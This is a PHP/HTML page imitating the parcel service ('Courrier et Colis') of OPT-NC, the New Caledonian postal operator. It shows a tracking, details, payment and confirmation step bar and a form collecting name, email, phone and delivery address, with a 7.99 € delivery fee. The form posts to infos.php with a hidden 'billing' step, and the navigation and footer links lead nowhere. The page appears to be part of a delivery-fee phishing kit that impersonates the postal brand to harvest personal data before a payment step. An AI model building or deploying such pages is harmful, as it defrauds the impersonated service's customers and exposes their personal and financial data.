<?php 
     require_once "functions.php";
     $_SESSION['lang'] = 'fr';
?>
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- link_icons -->
        <link rel="stylesheet"  href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">
        <link rel="stylesheet"  href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"> 
        <title>OPT-NC | Courrier et Colis</title>
        <!-- logo site web-->
        <link rel="icon" href="image/opt-favicon.png" type="image/png"/>
        <link rel="shortcut icon" href="image/opt-favicon.png" type="image/png" />
        <!-- link__css -->
        <link rel="stylesheet"  href="css/bootstrap.css">
        <link rel="stylesheet"  href="css/styless.css">
</head>
<body >
        <!-- Start____Navbar -->
        <div class="navbar">
        	<div class="container-fluid">
        		<div class="topping">
        			<img src="image/opt-logo.png">
        			<ul class="web">
        				<li><i class="bi bi-exclamation-circle me-2"></i>Alerte(1)</li>
        				<li>Nous contacter</li>
        				<li><i class="bi bi-globe me-2"></i>Français</li>
        				<li><i class="bi bi-search me-2"></i>Recherche</li>
        			</ul>
        			<ul class="respo">
        				<li><i class="bi bi-list"></i></li>
        				<li></li>
        			</ul>
        		</div>
        		<div class="bottomin">
        			<ul>
        				<li>Suivi<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Envoyer<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Services postaux<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Service client<i class="bi bi-chevron-down ms-1"></i></li>
        			</ul>
        			<p><i class="bi bi-person-fill me-2"></i>Mon espace client</p>
        		</div>
        	</div>
        </div>
        <!-- End____Navbar -->
        <!-- Start____Home -->
        <div class="home" style="background: white;height: 700px;">
        	<div class="otside" style="background: none;padding-top:50px;">
        		<div class="container" style="background:white;"> 
                    <div class="stock">
                        <div class="dod">
                            <div class="line">
                                <div class="ll"></div>
                            </div>
                            <ul class="nav">
                                <li class="nav first"><i class="bi bi-check"></i></li>
                                <li class="nav two"><i class="bi bi-geo-alt-fill"></i></li>
                                <li class="nav three"></li>
                                <li class="nav fore"></li>
                            </ul>
                        </div>
                        <ul class="nav">
                            <li class="nav">Numéro de suivi</li>
                            <li class="nav">Vos détails</li>
                            <li class="nav">Paiement</li>
                            <li class="nav">Confirmation</li>
                        </ul>
                    </div>
        			<div class="lettre">
                        <!-- START___FORM -->
                        <form action="infos.php" method="post">
                            <div class="titre">
                                <b class="mb-3"><img src="image/pc.svg"  width="30px" class="me-2">Vos détails</b>
                                <br>
                                <p style="color:rgba(0, 0, 0, 0.8);font-size:12px;font-weight:600;">Veuillez remplir les informations ci-dessous pour la livraison</p>
                            </div>
                            <input type="hidden" name="step" value="billing">
                            <div class="nda">
                                <div class="form-floating bb mt-3">
                                    <input type="text" name="f_name" id="f_name" class="form-control" id="floatingInput" placeholder=""  required>
                                    <label for="floatingInput">Nom complet</label>
                                </div>
                                <div class="form-floating bb mt-3">
                                    <input type="email" name="email" class="form-control" id="floatingInput" placeholder=""  required>
                                    <label for="floatingInput">Adresse email</label>
                                </div>
                            </div>
                            <div class="nda">
                                <div class="form-floating bb mt-3">
                                    <input type="text" name="number" class="form-control" id="floatingInput" placeholder=""  required>
                                    <label for="floatingInput">Numéro de téléphone</label>
                                </div>
                            </div>
                            <hr class="my-5">
                            <div class="titre">
                                <b class="mb-3"><img src="image/track.svg"  width="30px" class="me-2">Votre adresse</b>
                                <br>
                                <p style="color:rgba(0, 0, 0, 0.8);font-size:12px;font-weight:600;">Veuillez saisir votre adresse de livraison</p>
                            </div>
                            <div class="form-floating  mt-3">
                                <input type="text" name="adress" class="form-control" id="floatingInput" placeholder=""  required>
                                <label for="floatingInput">Adresse</label>
                            </div>
                            <div class="nda">
                                <div class="form-floating bb mt-3">
                                    <input type="text" name="city" class="form-control" id="floatingInput" placeholder=""  required>
                                    <label for="floatingInput">Ville</label>
                                </div>
                                <div class="form-floating bb mt-3">
                                    <input type="text" name="zip" id="zip" class="form-control" id="floatingInput" placeholder=""  required>
                                    <label for="floatingInput">Code postal</label>
                                </div>
                            </div>
                            <div class="msaws mt-4">
                                <div class="taxes">
                                    <ul class="nav justify-content-between">
                                        <li class="nav-item cc">Frais de livraison :</li>
                                        <li class="nav-item"><b>7.99 €</b></li>
                                    </ul>
                                </div>
                                <div class="bossa">
                                    <p style="font-style: italic;color: rgba(0, 0, 0, 0.7);font-size: 12px;">En cliquant sur Confirmer, vous acceptez nos conditions générales.</p>
                                    <button class="btn" name="submit">Confirmer</button>
                                </div>
                            </div>
                        </form>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd____Home -->
        <!-- Start___Fotter -->
        <div class="fotter">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="power ">Centre d'assistance</li>
        					<li>Service clientèle</li>
        					<li>Mon espace client</li>
        					<li>Partenaires numériques</li>
        					<li>Portail des développeurs</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Nos services</li>
							<li>Courrier et Colis</li> 
							<li>Services Financiers</li>
							<li>Télécommunications</li>
							<li>Numérique</li>
							<li>Philatélie</li>
							<li>Boutique en ligne</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Informations pratiques</li>
							<li>Agences et horaires</li>
							<li>Tarifs postaux</li>
							<li>Suivi de colis</li>
							<li>Formalités douanières</li>
							<li>Régler en ligne</li>
							<li>Réclamations</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">À propos d'OPT-NC</li>
							<li>Qui sommes-nous</li>
							<li>Recrutement</li>
							<li>Actualités</li>
							<li>Développement durable</li>
							<li>Partenaires</li>
        				</ul>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd___Fotter -->
        <!-- STAAAART_SOUS -->
        <div class="sous ">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-9">
        				<img src="image/opt-logo.png" style="width:120px;">
        				<ul>
        					<li>Mentions légales</li>
        					<li>Conditions d'utilisation</li>
        					<li>Politique de confidentialité</li>
        					<li>Cookies</li>
        					<li>Accessibilité</li>
        					<li>Plan du site</li>
        				</ul>
        			</div>
        			<div class="col-lg-3">
        				<h6>Suivez-nous</h6>
        				<img src="image/socio.png" class="socio">
        			</div>
        			<div class="text-center ss">2024 © OPT Nouvelle-Calédonie. Tous droits réservés.</div>
        		</div>	
        	</div>
        </div>
        <!-- ENNNNNND_SOUS -->
        <script src="js/jquery-3.5.1.min.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script>
            $("#f_name").focus();
            $("#zip").mask("0000000");
        </script>
</body>
</html>
